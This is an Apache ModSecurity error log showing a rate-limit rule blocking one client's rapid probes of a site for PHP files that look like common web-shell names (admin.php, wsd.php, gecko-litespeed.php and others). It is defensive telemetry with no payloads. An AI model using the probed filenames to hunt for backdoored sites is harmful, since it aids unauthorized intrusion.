[Mon Mar 30 23:35:44.299576 2026] [:error] [pid 63557:tid 63568] [client 72.146.16.175:63831] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file15.php"] [unique_id "acqYUK4QNVlzYgEvIjnJbQAAAQk"]
[Mon Mar 30 23:35:44.776965 2026] [:error] [pid 60745:tid 60751] [client 72.146.16.175:65488] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file15.php"] [unique_id "acqYUCQDBn75QnHaPb9VbgAAAEI"]
[Mon Mar 30 23:35:45.256309 2026] [:error] [pid 60745:tid 60760] [client 72.146.16.175:63783] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file15.php"] [unique_id "acqYUSQDBn75QnHaPb9VcgAAAEs"]
[Mon Mar 30 23:35:45.738534 2026] [:error] [pid 60745:tid 60773] [client 72.146.16.175:60234] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file15.php"] [unique_id "acqYUSQDBn75QnHaPb9VcwAAAFg"]
[Mon Mar 30 23:35:46.204291 2026] [:error] [pid 60745:tid 60769] [client 72.146.16.175:60729] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/031.php"] [unique_id "acqYUiQDBn75QnHaPb9VdQAAAFQ"]
[Mon Mar 30 23:35:46.674566 2026] [:error] [pid 60745:tid 60756] [client 72.146.16.175:60690] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/031.php"] [unique_id "acqYUiQDBn75QnHaPb9VeAAAAEc"]
[Mon Mar 30 23:35:47.139292 2026] [:error] [pid 60835:tid 60840] [client 72.146.16.175:62304] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/031.php"] [unique_id "acqYUwIOJ4Lc0iJVRzwDFAAAAAM"]
[Mon Mar 30 23:35:47.608501 2026] [:error] [pid 60745:tid 60771] [client 72.146.16.175:61490] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/031.php"] [unique_id "acqYUyQDBn75QnHaPb9VfAAAAFY"]
[Mon Mar 30 23:35:48.086202 2026] [:error] [pid 60835:tid 60857] [client 72.146.16.175:63814] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "acqYVAIOJ4Lc0iJVRzwDFgAAABQ"]
[Mon Mar 30 23:35:48.568630 2026] [:error] [pid 60747:tid 60817] [client 72.146.16.175:62306] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "acqYVAU3IY-cCpy_-zFPMAAAAM4"]
[Mon Mar 30 23:35:49.038484 2026] [:error] [pid 60745:tid 60756] [client 72.146.16.175:63767] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "acqYVSQDBn75QnHaPb9VhAAAAEc"]
[Mon Mar 30 23:35:49.509801 2026] [:error] [pid 60745:tid 60766] [client 72.146.16.175:65433] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "acqYVSQDBn75QnHaPb9VhgAAAFE"]
[Mon Mar 30 23:35:49.984076 2026] [:error] [pid 60745:tid 60749] [client 72.146.16.175:60714] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "acqYVSQDBn75QnHaPb9VjAAAAEA"]
[Mon Mar 30 23:35:50.469742 2026] [:error] [pid 60835:tid 60838] [client 72.146.16.175:63795] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "acqYVgIOJ4Lc0iJVRzwDHQAAAAE"]
[Mon Mar 30 23:35:50.944587 2026] [:error] [pid 60745:tid 60771] [client 72.146.16.175:60733] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "acqYViQDBn75QnHaPb9VkQAAAFY"]
[Mon Mar 30 23:35:51.449880 2026] [:error] [pid 60745:tid 60762] [client 72.146.16.175:62262] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "acqYVyQDBn75QnHaPb9VlQAAAE0"]
[Mon Mar 30 23:35:51.925255 2026] [:error] [pid 60835:tid 60861] [client 72.146.16.175:62241] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "acqYVwIOJ4Lc0iJVRzwDHwAAABg"]
[Mon Mar 30 23:35:52.412087 2026] [:error] [pid 60745:tid 60750] [client 72.146.16.175:62316] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "acqYWCQDBn75QnHaPb9VmQAAAEE"]
[Mon Mar 30 23:35:52.882083 2026] [:error] [pid 60835:tid 60839] [client 72.146.16.175:61461] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "acqYWAIOJ4Lc0iJVRzwDIgAAAAI"]
[Mon Mar 30 23:35:53.361742 2026] [:error] [pid 60835:tid 60857] [client 72.146.16.175:60682] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "acqYWQIOJ4Lc0iJVRzwDJAAAABQ"]
[Mon Mar 30 23:35:53.828799 2026] [:error] [pid 60745:tid 60754] [client 72.146.16.175:62283] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "acqYWSQDBn75QnHaPb9VngAAAEU"]
[Mon Mar 30 23:35:54.301348 2026] [:error] [pid 60835:tid 60847] [client 72.146.16.175:62257] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "acqYWgIOJ4Lc0iJVRzwDJwAAAAo"]
[Mon Mar 30 23:35:54.771676 2026] [:error] [pid 60835:tid 60841] [client 72.146.16.175:60698] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "acqYWgIOJ4Lc0iJVRzwDKQAAAAQ"]
[Mon Mar 30 23:35:55.240577 2026] [:error] [pid 60746:tid 60782] [client 72.146.16.175:61543] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "acqYW54kQrgjDdAbQCox9wAAAIY"]
[Mon Mar 30 23:35:55.714584 2026] [:error] [pid 60747:tid 60809] [client 72.146.16.175:61528] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hly.php"] [unique_id "acqYWwU3IY-cCpy_-zFPOgAAAMY"]
[Mon Mar 30 23:35:56.186245 2026] [:error] [pid 60747:tid 60807] [client 72.146.16.175:59504] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hly.php"] [unique_id "acqYXAU3IY-cCpy_-zFPPwAAAMQ"]
[Mon Mar 30 23:35:56.660049 2026] [:error] [pid 60746:tid 60798] [client 72.146.16.175:63854] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hly.php"] [unique_id "acqYXJ4kQrgjDdAbQCox-AAAAJY"]
[Mon Mar 30 23:35:57.127481 2026] [:error] [pid 60746:tid 60794] [client 72.146.16.175:60167] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hly.php"] [unique_id "acqYXZ4kQrgjDdAbQCox-QAAAJI"]
[Mon Mar 30 23:35:57.616848 2026] [:error] [pid 60747:tid 60823] [client 72.146.16.175:62274] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/about.php"] [unique_id "acqYXQU3IY-cCpy_-zFPRQAAANQ"]
[Mon Mar 30 23:35:58.082440 2026] [:error] [pid 60747:tid 60826] [client 72.146.16.175:60764] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/about.php"] [unique_id "acqYXgU3IY-cCpy_-zFPSAAAANc"]
[Mon Mar 30 23:35:58.575590 2026] [:error] [pid 63557:tid 63582] [client 72.146.16.175:63820] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/about.php"] [unique_id "acqYXq4QNVlzYgEvIjnJegAAARc"]
[Mon Mar 30 23:35:59.054368 2026] [:error] [pid 63557:tid 63571] [client 72.146.16.175:61469] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/about.php"] [unique_id "acqYX64QNVlzYgEvIjnJfAAAAQw"]
[Mon Mar 30 23:35:59.521616 2026] [:error] [pid 63557:tid 63561] [client 72.146.16.175:65489] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file7.php"] [unique_id "acqYX64QNVlzYgEvIjnJfwAAAQI"]
[Mon Mar 30 23:36:00.018923 2026] [:error] [pid 60747:tid 60809] [client 72.146.16.175:63802] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file7.php"] [unique_id "acqYYAU3IY-cCpy_-zFPSgAAAMY"]
[Mon Mar 30 23:36:00.488718 2026] [:error] [pid 60835:tid 60846] [client 72.146.16.175:65436] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file7.php"] [unique_id "acqYYAIOJ4Lc0iJVRzwDOAAAAAk"]
[Mon Mar 30 23:36:00.970922 2026] [:error] [pid 60747:tid 60806] [client 72.146.16.175:63857] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file7.php"] [unique_id "acqYYAU3IY-cCpy_-zFPTAAAAMM"]
[Mon Mar 30 23:36:01.494298 2026] [:error] [pid 60747:tid 60807] [client 72.146.16.175:63848] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tajj.php"] [unique_id "acqYYQU3IY-cCpy_-zFPTwAAAMQ"]
[Mon Mar 30 23:36:01.962228 2026] [:error] [pid 60745:tid 60749] [client 72.146.16.175:62311] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tajj.php"] [unique_id "acqYYSQDBn75QnHaPb9VqgAAAEA"]
[Mon Mar 30 23:36:02.434023 2026] [:error] [pid 60747:tid 60827] [client 72.146.16.175:65467] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tajj.php"] [unique_id "acqYYgU3IY-cCpy_-zFPUgAAANg"]
[Mon Mar 30 23:36:02.899779 2026] [:error] [pid 60745:tid 60768] [client 72.146.16.175:63789] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tajj.php"] [unique_id "acqYYiQDBn75QnHaPb9VrAAAAFM"]
[Mon Mar 30 23:36:03.390645 2026] [:error] [pid 60745:tid 60773] [client 72.146.16.175:62249] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/logain5.php"] [unique_id "acqYYyQDBn75QnHaPb9VrQAAAFg"]
[Mon Mar 30 23:36:03.872307 2026] [:error] [pid 60835:tid 60837] [client 72.146.16.175:65429] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/logain5.php"] [unique_id "acqYYwIOJ4Lc0iJVRzwDQAAAAAA"]
[Mon Mar 30 23:36:04.342461 2026] [:error] [pid 60835:tid 60838] [client 72.146.16.175:63796] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/logain5.php"] [unique_id "acqYZAIOJ4Lc0iJVRzwDQgAAAAE"]
[Mon Mar 30 23:36:04.812594 2026] [:error] [pid 60835:tid 60861] [client 72.146.16.175:63815] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/logain5.php"] [unique_id "acqYZAIOJ4Lc0iJVRzwDRgAAABg"]
[Mon Mar 30 23:36:05.291741 2026] [:error] [pid 60745:tid 60752] [client 72.146.16.175:60748] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsd.php"] [unique_id "acqYZSQDBn75QnHaPb9VrwAAAEM"]
[Mon Mar 30 23:36:05.768084 2026] [:error] [pid 60747:tid 60817] [client 72.146.16.175:65492] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsd.php"] [unique_id "acqYZQU3IY-cCpy_-zFPWQAAAM4"]
[Mon Mar 30 23:36:06.239335 2026] [:error] [pid 60747:tid 60821] [client 72.146.16.175:63756] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsd.php"] [unique_id "acqYZgU3IY-cCpy_-zFPXwAAANI"]
[Mon Mar 30 23:36:06.730392 2026] [:error] [pid 60747:tid 60820] [client 72.146.16.175:63788] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsd.php"] [unique_id "acqYZgU3IY-cCpy_-zFPZAAAANE"]
[Mon Mar 30 23:36:07.207167 2026] [:error] [pid 60747:tid 60812] [client 72.146.16.175:58932] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "acqYZwU3IY-cCpy_-zFPbQAAAMk"]
[Mon Mar 30 23:36:07.681660 2026] [:error] [pid 60747:tid 60826] [client 72.146.16.175:62229] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "acqYZwU3IY-cCpy_-zFPcgAAANc"]
[Mon Mar 30 23:36:08.172532 2026] [:error] [pid 60745:tid 60753] [client 72.146.16.175:62258] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "acqYaCQDBn75QnHaPb9VsAAAAEQ"]
[Mon Mar 30 23:36:08.650386 2026] [:error] [pid 63557:tid 63576] [client 72.146.16.175:62275] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "acqYaK4QNVlzYgEvIjnJiAAAARE"]
[Mon Mar 30 23:36:09.118651 2026] [:error] [pid 63557:tid 63574] [client 72.146.16.175:63866] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "acqYaa4QNVlzYgEvIjnJjAAAAQ8"]
[Mon Mar 30 23:36:09.597089 2026] [:error] [pid 60835:tid 60839] [client 72.146.16.175:61503] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "acqYaQIOJ4Lc0iJVRzwDSgAAAAI"]
[Mon Mar 30 23:36:10.079986 2026] [:error] [pid 60747:tid 60807] [client 72.146.16.175:65463] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "acqYagU3IY-cCpy_-zFPhQAAAMQ"]
[Mon Mar 30 23:36:10.556073 2026] [:error] [pid 60746:tid 60797] [client 72.146.16.175:65458] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "acqYap4kQrgjDdAbQCox_wAAAJU"]
